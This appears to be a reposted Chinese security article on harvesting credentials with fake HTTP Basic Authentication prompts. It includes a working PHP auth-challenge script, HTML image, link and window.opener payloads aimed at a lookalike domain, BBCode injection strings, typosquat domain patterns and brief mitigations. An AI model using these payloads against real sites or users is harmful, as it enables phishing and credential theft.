本文讲的是如何制作基础认证钓鱼页面?

在之前的一篇文章中,我介绍了一款非常受欢迎的工具——Responder,它是一款强大并且简单易用的内网渗透神器。使用它的“基本身份验证”提示来在Web浏览器中偶尔输入无效域时窃取用户凭据。

应该说,Responder的方法是相当不错的,它在捕获和响应当前域的DNS请求时非常给力。但是经过一段时间的研究,我认为基本身份验证的方法如果被用于网络钓鱼,则攻击效率更加突出。

我之所以最喜欢基本认证,就是因为从来没有人知道谁在对你认证,认证在哪里结束。这种认证的混乱通常会使用户陷入简单的网络钓鱼攻击,从而允许攻击者轻松收集用户登录凭据。因为,一旦服务器知道了用户的身份,就可以判定用户可以访问事务和资源了;通常通过用户名和密码。

用户应该能够基于2个安全指标来确定基本身份验证请求是否是真实的:

1.请求身份验证的实体的IP地址或域,不过,这通常不能帮助用户进行判别,因为攻击者也可以注册类似于可信域的域名。例如,当尝试盗取targetdomain.com的凭据时,攻击者可以注册类似的域:

targetdomain.co/.net
target-domain.com
targetdomain-oauth.com
targetdomain-cdn.com
targetdomain-images.com
login-targetdomain.com

2. ”realm”认证参数,不过这是一个可以由攻击者提供的任意字符串。根据上下文,简单的字符串可能会欺骗用户,让用户认为基本的身份验证提示是真实的:

网络代理身份验证要求;
长时间的没有操作而退出登录,如要再操作还需再次登录。

说了这么多理论,让我举几个例子,其中基本的身份验证提示可能真的让用户感到困惑。假设targetdomain.com是一个真正的网站,攻击者可以简单地注册并控制target-domain.com,,一个可能会被一些用户混淆的网站。

1.通过滥用HTML图像标签获取基本身份验证提示

如果攻击者可以向网站添加HTML 图像标签,并引用攻击者控制的域的图像,则攻击者可以在加载图像之前强制执行基本验证提示。以下有一个简短的演示:

targetdomain.com/image.html是一个包含第三方网站图片的网页:target-domain.com。

<html><body>Just a funny cat image<img src="http://target-domain.com/basicauth.php" alt="Could not load image - Invalid credentils."/></body>
</html>

target-domain.com/basicauth.php是一个访问后需要基本身份验证的第三方页面。

<?php $valid_passwords = array ("security" => "cafe");
$valid_users = array_keys($valid_passwords);$user = isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : "";
$pass = isset($_SERVER['PHP_AUTH_PW'])   ? $_SERVER['PHP_AUTH_PW']   : "";$validated = (in_array($user, $valid_users)) && ($pass == $valid_passwords[$user]);if (!$validated) {header('WWW-Authenticate: Basic realm="Corporate domain"');//header('HTTP/1.0 401 Unauthorized');die ("Not authorized");
}// If the user enters valid credentials, just show him a cat pictureheader("Location: https://kpmgsecurity.files.wordpress.com/2017/06/cat.jpg")?>

因此,由第三方网站上托管的图像生成基本验证提示。可以肯定的是,在基本认证提示中输入的任何凭据将被发送到第三方网站。目前,基本身份验证提示只存在于Firefox和IE上,而Chrome不会显示。

2.打开URL时获取基本身份验证提示

如果攻击者可以将HTML锚点添加到网站,并添加到第三方网站的链接,则攻击者可以向第三方网站添加基本身份验证,并在导航发生之前提示用户。

targetdomain.com/link.html是一个包含指向第三方网站的链接的页面:

<html><body>A cool website you should visit: <a href="http://target-domain.com/basicauth.php">Click me!</a></body>
</html>

因此,当主机页面和URL仍然显示给用户时,基本身份验证提示将显示在加载新URL之前。基本认证提示只在Firefox和IE中显示,而Chrome会在显示之前卸载主机页面并更新地址栏。

3.在新选项卡中打开URL时获取基本身份验证提示

如果导航发生在新选项卡中,则基本身份验证提示可以通过利用window.opener来显示在初始选项卡中。

targetdomain.com/newtab.html是一个包含将在新标签页中打开的链接的页面:

<html><body>Another cool website you should visit: <a href="http://target-domain.com/landingpage.html" target="_blank">Click me!</a></body>
</html>

target-domain.com/landingpage.html是一个将使用者重定向到需要基本身份验证网址的页面:

<html><head><title>Nothing here</title></head><body><script>window.opener.location="http://target-domain.com/basicauth.php";</script></body>
</html>

因此,当主机页面和URL仍显示给用户时,基本身份验证提示将显示在加载新URL的选项卡中。基本认证提示只在Firefox和IE中显示,而Chrome在卸载主机页面并更新地址栏之后,才会显示基本认证提示。

4.获取Word文档中的基本身份验证提示

如果文档包含引用第三方网站的图像模板,则基本身份验证提示可能会出现在Word文档中。这样的文件可以通过电子邮件或公共网站向受害者提供,这对攻击者来说非常方便。此外,使用Phishery可以自动创建这样的WORD文档的过程。

以上只是我碰到的一些实例,其中基本认证提示以令人困惑的方式显示给最终用户。这些例子都是在实际生活中随处可见,比如博客,论坛,协作平台,电子学习平台都有允许用户添加定制内容的选项,包括图像和链接。任何带有文本编辑器的网站,允许bb代码(或类似的标记)很容易受到这样的网络钓鱼攻击:

[img]http://target-domain.com/basicauth.php[/img]
<img>http://target-domain.com/basicauth.php</img>
[a]http://target-domain.com/basicauth.php[/a]
[url]http://target-domain.com/basicauth.php[/url]
... and many more examples

防止此类攻击的两个方法如下:

1.不允许用户到你的网站去添加图像和链接;
2.可以过滤不需要的基本身份验证提示,将所有外部资源与本地URL进行封装(类似于Facebook的URL封装)。
虽然第一个建议可能会超出许多网站的安全防护目的,但第二个建议可能很难在定制平台上实现和维护。

如果你想在这个问题上有更多了解,试着调查一下移动设备上发生的身份验证行为。出于可用性的考虑,移动浏览器在安全性方面做了很多妥协,比如,允许更换地址栏中的URL的页面标题,显示SSL证书的细节,几乎不会查看当前页面的源码等。

原文发布时间为:2017年9月12日
本文作者:xiaohui 
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
原文链接

如何制作基础认证钓鱼页面?相关推荐

  1. xss基础认证钓鱼代码收集

    0x01 下面这个只是一个简单的要求输入用户-密码的弹框 <?php error_reporting(0); /* 检查变量 $PHP_AUTH_USER 和$PHP_AUTH_PW 的值*/ ...

  2. php怎么登录路由器,基础认证与curl自动登录路由器

    一.基础认证 二.基础认证钓鱼 三.curl登录路由器 四.实时获取路由器流量统计信息 一.基础认证 基础认证是是除了cookie以外的另一种验证客户身份的方法.进行基础认证时,一般页面会弹出一个框来 ...

  3. portal认证 php,如何用PHP制作OSSH 免费版华为Portal系统认证前端页面

    发表于:2014/4/8 10:28:59 #1楼 如何用PHP制作OSSH 免费版华为Portal系统认证前端页面 OSSH免费版华为Portal系统可以满足丰富的认证页面设计需求,目前默认的认证页 ...

  4. 【前端实例代码】使用 HTML 和 CSS 如何实现惊人的透明登录框页面毛玻璃效果| 前端开发 网页制作 基础入门教程

    b站视频演示效果: [web前端特效源码]使用 HTML 和 CSS 如何实现惊人的透明登录框页面毛玻璃效果| 前端开发 网页制作 基础入门教程 效果图: 完整代码: <!DOCTYPE htm ...

  5. portal认证 php,如何用PHP制作OSSH 免费版华为Portal系统认证前端页面.doc

    如何用PHP制作OSSH 免费版华为Portal系统认证前端页面 如何用PHP制作OSSH 免费版华为Portal系统认证前端页面 OSSH免费版华为Portal系统可以满足丰富的认证页面设计需求,目 ...

  6. 1+X初级 Web页面制作基础

    第一篇 Web页面制作基础 排版不太好,如果要Word版本,请添加群聊获取 第一章 HTML标签介绍 •HTML 标签是由<>包围的关键词,例: •HTML 标签通常成对出现,分为标签开头 ...

  7. 【移动端网页布局】移动端网页布局基础概念 ⑧ ( 移动端页面布局方案 | 单独制作的移动端页面 - 主流 | 响应式页面兼容移动端 - 开发难度较大 )

    文章目录 一.移动端页面布局方案 1.单独制作的移动端页面 2.响应式页面兼容移动端 一.移动端页面布局方案 移动端页面方案 : 单独制作的移动端页面 : 主流开发方案 , PC 端 与 移动端 访问 ...

  8. C#进阶系列——WebApi 身份认证解决方案:Basic基础认证

    阅读目录 一.为什么需要身份认证 二.Basic基础认证的原理解析 1.常见的认证方式 2.Basic基础认证原理 三.Basic基础认证的代码示例 1.登录过程 2./Home/Index主界面 3 ...

  9. c# WebApi之身份验证:Basic基础认证

    为什么需要身份认证 身份认证是为了提高接口访问的安全性,如果没有身份验证,那么任何匿名用户只要知道服务器的url,就可以随意访问服务器,从而访问或者操作数据库,这会是很恐怖的事. 什么是Basic基础 ...

最新文章

  1. [转] asp.net core Introducing View Components
  2. 【转载】Python3 sorted函数中key参数的作用原理
  3. 【机器视觉】 dev_set_check算子
  4. Flutter Web:Shadow Root问题
  5. 中海达数据怎么转rinex_cors账号网最新实战教程,中海达 F61 Plus RTK连接千寻cors账号的方法...
  6. Python super() 函数的用法及实例
  7. 注意力机制BAM和CBAM详细解析(附代码)
  8. 微课|《Python编程基础与案例集锦(中学版)》第2章(2)
  9. php函数strrchr、substr、is_dir、unlink
  10. 咖啡html代码,咖啡.html
  11. matlab中怎样绘制离散点,matlab中怎么绘制大量的离散点
  12. 【遥感微课堂】学习ENVI5.0
  13. 网络:简述计算机网络的性能指标和非性能特征
  14. 自定义桌面图标!制作属于自己的个性化桌面吧(=^x^=)
  15. 计算机类博士多少年,弗吉尼亚大学博士几年?
  16. filter()函数使用
  17. 异常:Subquery returns more than 1 row
  18. java 对图片解码_java对图片的转码和解码 实用
  19. nyoj 171 聪明的kk【Java】
  20. Python黑马学习笔记Day01

热门文章

  1. 原生开发引入高德地图
  2. 强化学习重点文献汇总
  3. 基于tkinter库python背单词GUI设计——单词越背越开心
  4. 调音台中英文对照表!!
  5. 【武汉万象奥科】瑞芯微RK3568芯片
  6. 互盾科技:不是井里没有水,而是你挖的不够深
  7. c语言二的n次方,c语言练习之路(二阶方阵的n次方)
  8. 36 句话看完锤子科技 2018 夏季新品发布会
  9. 智能电饭煲电路图及其原理_求奔腾智能电饭煲原理电路图
  10. 在首席架构师手里,应用架构如此设计